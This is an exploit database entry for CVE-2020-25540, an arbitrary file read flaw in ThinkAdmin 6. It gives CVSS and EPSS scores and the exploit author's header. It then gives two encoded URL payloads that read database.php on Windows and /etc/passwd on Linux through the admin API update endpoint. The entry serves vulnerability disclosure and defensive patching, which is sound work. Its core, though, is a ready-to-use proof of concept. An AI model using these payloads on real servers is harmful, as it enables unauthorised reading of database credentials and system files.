ThinkAdmin 6 - Arbitrarily File Read

2020-09-1500:00:00

Hzllaga

www.exploit-db.com

515

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

0.961 High

EPSS

Percentile

99.5%

JSON

# Exploit Title: ThinkAdmin 6 -  Arbitrarily File Read
# Google Dork: N/A
# Date: 2020-09-14
# Exploit Author: Hzllaga
# Vendor Homepage: https://github.com/zoujingli/ThinkAdmin/
# Software Link: Before https://github.com/zoujingli/ThinkAdmin/commit/ff2ab47cfabd4784effbf72a2a386c5d25c43a9a
# Version: v6 <= 2020.08.03.01
# Tested on: PHP7.4.7,Apache
# CVE : CVE-2020-25540

PoC:
On Windows read database.php payload:
/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

On Linux read /etc/passwd payload:
/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s